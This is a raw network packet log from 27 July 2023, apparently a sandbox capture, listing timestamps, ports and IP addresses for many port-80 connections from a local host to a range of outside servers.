Jul 27, 2023 21:52:22.597322941 CEST	49720	80	192.168.2.4	188.165.133.163
Jul 27, 2023 21:52:22.601650953 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:22.631755114 CEST	49724	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:52:22.639910936 CEST	80	49723	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:22.640062094 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:22.648477077 CEST	80	49724	104.21.55.224	192.168.2.4
Jul 27, 2023 21:52:22.648618937 CEST	49724	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:52:22.668525934 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:22.669157028 CEST	49724	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:52:22.685995102 CEST	80	49724	104.21.55.224	192.168.2.4
Jul 27, 2023 21:52:22.700361013 CEST	80	49724	104.21.55.224	192.168.2.4
Jul 27, 2023 21:52:22.700462103 CEST	49724	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:52:22.700650930 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:22.706917048 CEST	80	49723	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:22.707619905 CEST	80	49723	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:22.707811117 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:22.744856119 CEST	80	49721	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:22.745037079 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:22.749713898 CEST	80	49722	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:22.750838995 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:22.799395084 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:22.799521923 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:22.799662113 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:22.834770918 CEST	49725	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:52:22.838077068 CEST	80	49723	185.80.51.179	192.168.2.4
Jul 27, 2023 21:52:22.838192940 CEST	49723	80	192.168.2.4	185.80.51.179
Jul 27, 2023 21:52:22.888561010 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:22.949835062 CEST	49727	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:22.955049992 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:22.965509892 CEST	49729	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:22.980324030 CEST	80	49727	46.242.238.60	192.168.2.4
Jul 27, 2023 21:52:22.980423927 CEST	49727	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:22.980784893 CEST	49727	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:22.985110998 CEST	80	49717	170.82.174.30	192.168.2.4
Jul 27, 2023 21:52:22.985215902 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:23.002551079 CEST	49717	80	192.168.2.4	170.82.174.30
Jul 27, 2023 21:52:23.011147022 CEST	80	49727	46.242.238.60	192.168.2.4
Jul 27, 2023 21:52:23.012135983 CEST	80	49727	46.242.238.60	192.168.2.4
Jul 27, 2023 21:52:23.014939070 CEST	49727	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:52:23.054814100 CEST	80	49726	69.163.239.62	192.168.2.4
Jul 27, 2023 21:52:23.054985046 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:23.064594030 CEST	49726	80	192.168.2.4	69.163.239.62
Jul 27, 2023 21:52:23.078592062 CEST	80	49728	108.167.164.216	192.168.2.4
Jul 27, 2023 21:52:23.078746080 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:23.079293966 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079346895 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079390049 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079396963 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079437017 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079438925 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079462051 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079483986 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079494953 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079530001 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079539061 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079576969 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079590082 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079623938 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079673052 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079674006 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079741955 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079756975 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.079806089 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.079936028 CEST	80	49721	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:23.080225945 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.080319881 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.080329895 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.080384016 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.080419064 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.080431938 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.080478907 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.080518961 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.080642939 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.081229925 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.081278086 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.081302881 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.081322908 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.081326962 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.081372023 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.081386089 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.081445932 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.081484079 CEST	80	49721	202.254.236.40	192.168.2.4
Jul 27, 2023 21:52:23.081492901 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.081614971 CEST	49721	80	192.168.2.4	202.254.236.40
Jul 27, 2023 21:52:23.082204103 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.082252026 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.082281113 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.082297087 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.082298994 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.082344055 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.082348108 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.082391977 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.082392931 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.082438946 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.083156109 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.083214045 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.083259106 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.083291054 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.083303928 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.083321095 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.083349943 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.083401918 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.084903955 CEST	80	49722	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:23.085669994 CEST	80	49722	60.43.154.138	192.168.2.4
Jul 27, 2023 21:52:23.087099075 CEST	49722	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:52:23.096007109 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096112967 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.096153975 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096211910 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096227884 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.096256971 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096270084 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.096328020 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.096370935 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096419096 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096421957 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.096466064 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.096468925 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.096513033 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.097116947 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.097187042 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.097234011 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.097295046 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.097296000 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.097342014 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.097345114 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.097388983 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.097393036 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.097440958 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.098067045 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.098115921 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.098156929 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.098160982 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.098171949 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.098207951 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.098212957 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.098259926 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.098273993 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.098332882 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.099019051 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.099069118 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.099112988 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.099143982 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.099159002 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.099185944 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.099198103 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.099219084 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.099247932 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.100656033 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.100729942 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.100735903 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.100783110 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.100795984 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.100845098 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.100847960 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.100893974 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.100898981 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.100943089 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.101052046 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.101095915 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.101099968 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.101140022 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.101147890 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.101185083 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.101186991 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.101233006 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.101233006 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.101281881 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.102055073 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.102103949 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.102137089 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.102149963 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.102153063 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.102195024 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.102197886 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.102241993 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.102257967 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.102298975 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.102973938 CEST	49690	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:52:23.103055954 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.103105068 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.103136063 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.103149891 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.103163958 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.103194952 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.103208065 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.103241920 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.103251934 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.103319883 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.104022980 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.104072094 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.104087114 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.104118109 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.104123116 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.104162931 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.104165077 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.104207993 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.104208946 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.104258060 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.104970932 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.105020046 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.105036974 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.105065107 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.105073929 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.105110884 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.105113029 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.105158091 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.105159044 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.105202913 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.105370045 CEST	80	49729	3.94.41.167	192.168.2.4
Jul 27, 2023 21:52:23.105482101 CEST	49729	80	192.168.2.4	3.94.41.167
Jul 27, 2023 21:52:23.105954885 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.106014967 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.106019974 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.106066942 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.106112957 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.106128931 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.106158972 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.106177092 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.106213093 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.112684011 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.112730980 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.112772942 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.112771988 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.112818003 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.112833977 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.112837076 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.112878084 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.112879992 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.112936020 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.113054037 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.113099098 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.113109112 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.113140106 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.113142967 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.113181114 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.113183975 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.113223076 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.113223076 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.113267899 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.114057064 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.114100933 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.114136934 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.114141941 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.114156008 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.114183903 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.114201069 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.114224911 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.114243984 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.114274025 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.114986897 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115031958 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115072012 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115111113 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115113020 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.115143061 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.115153074 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115168095 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.115209103 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.115925074 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115967035 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.115992069 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116007090 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116023064 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116050005 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116055012 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116092920 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116096020 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116138935 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116854906 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116902113 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116942883 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116949081 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116965055 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.116986036 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.116998911 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.117027998 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.117794037 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.117834091 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.117883921 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.117897987 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.117949009 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.117988110 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.117996931 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.118031025 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.118103981 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.118149996 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.118788958 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.118830919 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.118886948 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.118891954 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.118943930 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.118944883 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.118989944 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.119004965 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.119048119 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.119587898 CEST	49728	80	192.168.2.4	108.167.164.216
Jul 27, 2023 21:52:23.119658947 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.119702101 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.119743109 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.119782925 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.119822979 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.119975090 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.120501041 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.120547056 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.120579004 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.120588064 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.120594025 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.120630026 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.120630980 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.120671988 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.120712996 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.120716095 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.120850086 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.121376038 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.121421099 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.121459961 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.121500969 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.121539116 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.121541023 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.121552944 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.121581078 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.121581078 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.121609926 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.121623993 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.122334957 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.122379065 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.122420073 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.122448921 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.122459888 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.122493029 CEST	49706	80	192.168.2.4	104.26.15.53
Jul 27, 2023 21:52:23.122502089 CEST	80	49706	104.26.15.53	192.168.2.4
Jul 27, 2023 21:52:23.122517109 CEST	49706	80	192.168.2.4	104.26.15.53
